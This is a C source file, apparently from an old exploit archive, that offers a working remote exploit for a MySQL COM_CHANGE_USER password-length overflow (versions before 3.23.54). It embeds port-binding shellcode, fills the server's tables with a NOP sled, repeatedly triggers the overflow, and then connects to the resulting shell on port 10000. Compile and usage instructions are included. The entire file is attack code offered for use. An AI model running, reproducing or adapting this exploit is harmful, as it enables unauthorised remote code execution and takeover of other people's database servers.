home *** CD-ROM | disk | FTP | other *** search
- /* Unpatched MySql < 3.23.54 COM_CHANGE_USER password length shell exploiter
- *
- * Discovered by e-matters
- * Advisory: http://security.e-matters.de/advisories/042002.html
- *
- * dreyer <dreyer@subdimension.com>
- * Version 1.0
- *
- * What you need:
- * A valid user loginable from this host
- * Password for that user
- * Another user loginable also from this host
- * A writable database (i.e.: 'test')
- * A vulnerable LINUX mysql server :D
- *
- * Compile: gcc -o mysqle mysqlexploit.c -lmysqlclient
- * i.e:
- * ./mysqlexploit -h localhost -u drey -p drey -t john -d mydb -g 3306
- *
- * Greetings to: jaxp, kicat, and all people in #ngsec @ irc-hispano network
- *
- * Tested on: Slackware/MySql 3.23.39,
- */
-
- #include <stdio.h>
- #include <stdlib.h>
- #include <sys/socket.h>
- #include <netdb.h>
- #include <sys/time.h>
- #include <resolv.h>
- #include <mysql/mysql.h>
- #include <signal.h>
- #include <getopt.h>
-
- #define ROWS 5000
-
- /* bighawk's 10000 portbinding shellcode 88 bytes <bighawk@warfare.com>*/
-
- char *shellcode="\x31\xdb\xf7\xe3\xb0\x66\x53\x43\x53\x43\x53\x89\xe1\x4b\xcd\x80\x89\xc7\x52\x66\x68\x27\x10\x43\x66\x53\x89\xe1\xb0\x10\x50\x51\x57\x89\xe1\xb0\x66\xcd\x80\xb0\x66\xb3\x04\xcd\x80\x50\x50\x57\x89\xe1\x43\xb0\x66\xcd\x80\x89\xd9\x89\xc3\xb0\x3f\x49\xcd\x80\x41\xe2\xf8\x51\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x51\x53\x89\xe1\xb0\x0b\xcd\x80";
-
- char db[50]="test"; // writable database
- char victim[100]="localhost";
-
- int offset=0;
-
- /* Connect to port 10000 */
- int do_connect(char *host)
- {
- struct hostent *he=gethostbyname(host);
- struct sockaddr_in sa;
- int outsocket,r;
- struct timeval tv;
- fd_set rfds;
- char buffer[500];
-
-
- memset (&sa, 0, sizeof (struct sockaddr_in));
- memcpy (&sa.sin_addr.s_addr, he->h_addr_list[0], he->h_length);
- sa.sin_family = AF_INET;
- sa.sin_port=htons(10000);
- outsocket=socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
- if ((connect(outsocket,(struct sockaddr *)&sa,sizeof(struct sockaddr_in)))==-1)
- return 0;
- FD_ZERO (&rfds);
- send(outsocket,"uname -a;\nid;\n",14,0);
- printf("[+] Exploting successful, enjoy your shell: \n");
- while (1) {
- FD_SET (outsocket, &rfds);
- FD_SET (0, &rfds);
- tv.tv_sec = 30;
- tv.tv_usec = 0;
- select (outsocket + 1, &rfds, NULL, NULL, &tv);
- if (FD_ISSET(outsocket, &rfds))
- {
- if ((r=recv(outsocket, buffer, sizeof(buffer), 0))==-1)
- exit(2);
- write(1,buffer,r);
- }
- if (FD_ISSET(0,&rfds))
- {
- r=read(0,buffer,sizeof(buffer));
- send(outsocket,buffer,r,0);
- }
- }
- return 1;
- }
-
-
- /* Print a nice bar :D */
- int nice_bar (int a,int max) {
- int i;
- int b=a*50/max;
- printf("0 [");
- for (i=0;i<=b;i++) printf(".");
- for(;i<50;i++) printf(" ");
- printf("] 100%\r");
- fflush(stdout);
- }
-
-
- /* Try to do a query in the mysql server */
- int do_query(MYSQL *s, char *query)
- {
- if (mysql_query(s,query)) {
- fprintf(stderr,"Query failed (%s)\n",mysql_error(s));
- exit(1);
- }
- }
-
- /* Trigger the index cache creation */
- int do_index(MYSQL *s) {
- char query[1000];
- MYSQL_RES *res;
-
- printf("[+] Triggering index cache creation\n");
- sprintf(query, "select * from %s.ow having u='junk';",db);
- do_query(s,query);
- if (!(res=mysql_store_result(s)))
- {
- printf("[-] Failed index cache trigger\n");
- }
- mysql_free_result(res);
- }
-
- /* Populate mysql database */
- int populate (MYSQL *s) {
- char buf1[300];
- char query[1000];
- int i;
-
- memset(buf1,0,sizeof(buf1));
- memset(query,0,sizeof(query));
- memset(buf1,'\x90',249-strlen(shellcode)-offset);
- strcat(buf1,shellcode);
- printf("[+] Creating temporal tables...\n");
- sprintf(query,"use %s;",db);
- do_query(s,query);
- do_query(s,"create table oy(h varchar(250),a varchar(250));");
- sprintf(query,"insert into oy(h,a) values (\"%s\",\"%s\");",
- buf1,buf1);
- do_query(s,query);
- do_query(s,query);
- do_query(s,query);
- do_query(s,query);
- do_query(s,"create table ow(u varchar(250),d varchar(250),index(u,d));");
- printf("[+] Populating database... this will take a while...\n");
- for(i=0;i<ROWS;i++) {
- do_query(s,"INSERT INTO ow(u,d) select h,a from oy;");
- nice_bar(i,ROWS);
- }
- printf("\n");
- }
-
-
- void *sig_hand (int a) {
- if(do_connect(victim)) exit(1);
- }
-
- int main(int argc, char **argv)
- {
- MYSQL *sock,mysql;
- char abuf[10000];
- char *hashpass,pass[50]="",user[50]="",ouser[50]="root";
- int i,port=3306,opt,pop=1;
- unsigned long long int stime=1977321;
-
- printf("[+] MySql vuln lenght <3.23.54 exploiter by \033[1;33mdreyer@subdimension.com\033[0m\n");
- memset (abuf,0,sizeof(abuf));
-
- if (argc < 2)
- {
- fprintf(stderr,"usage : %s -h <host> -u <user> -p <pass>"
- " -t <other_user>\n\t[ -d writable_db] [ -g port ]"
- "[ -o offset ] [ -s microsecs_sleep ] [ -n ]\n",argv[0]);
- exit(1);
- }
-
- while((opt=getopt(argc,argv,"h:u:p:t:d:o:s:g:n"))!=EOF)
- switch(opt) {
- case 'h':
- strncpy(victim,optarg,49);
- break;
- case 'u':
- strncpy(user,optarg,49);
- break;
- case 'p':
- strncpy(pass,optarg,49);
- break;
- case 't':
- strncpy(ouser,optarg,49);
- break;
- case 'd':
- strncpy(db,optarg,49);
- break;
- case 'g':
- port=atoi(optarg);
- break;
- case 's':
- stime=atol(optarg);
- break;
- case 'o':
- offset=atoi(optarg);
- if (offset>249-strlen(shellcode)) {
- printf("[-] Maximun offset: %d\nAborting...\n",
- 249-strlen(shellcode));
- exit(-1);
- }
- break;
- case 'n':
- pop=0;
- break;
-
- }
- printf("[+] Exploit Params: \n");
- printf("[+] Host: %s Port: %d User: %s Pass: %s\n",victim,port,user,pass);
- printf("[+] Target_User: %s Writable_Database: %s\n",ouser,db);
- printf("[+] Offset: %d Populate: %s Sleep: %llu\n\n",offset,
- pop?"yes":"no",stime);
-
- signal(SIGALRM,sig_hand);
- printf("[+] Conecting...\n");
- mysql_init(&mysql);
- if (!(sock = mysql_real_connect(&mysql,victim,user,pass,
- NULL,port,NULL,0)))
- {
- fprintf(stderr,"[-] Couldn't connect to engine!\n%s\n",mysql_error(&mysql));
- exit(1);
- }
- printf("[+] Connected: Version %s\n",mysql_get_server_info(sock));
-
- printf("[+] Begining attack... trust in your luck... overflowing...\n");
- strcpy(abuf,ouser);
- hashpass=abuf+strlen(abuf)+1;
- strcpy(hashpass,"XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX");
-
- if (pop)
- populate(sock);
-
- do {
- do_index(sock);
- net_clear(&sock->net);
- if (net_write_command(&sock->net,COM_CHANGE_USER,
- abuf,strlen(abuf)+strlen(hashpass)+2))
- {
- printf("[-] Can't send command to server.\n");
- }
- alarm(5);
- if (my_net_read(&sock->net)==packet_error)
- {
- alarm(0);
- printf("[+] Packet error... not yet... ;)\n");
- usleep(stime);
- mysql_init(&mysql);
- if (!(sock=mysql_real_connect(&mysql,victim,user,pass,
- NULL,port,NULL,0)))
- {
- printf("[-] Oh oh, something is broken...Or maybe sleep_time too short?\n");
- exit(1);
- }
- } else {
- printf("[-] Didn't overflowed... patched?? is other_user valid??\n");
- }
- alarm(0);
- } while(1);
-
- mysql_close(sock);
- }
-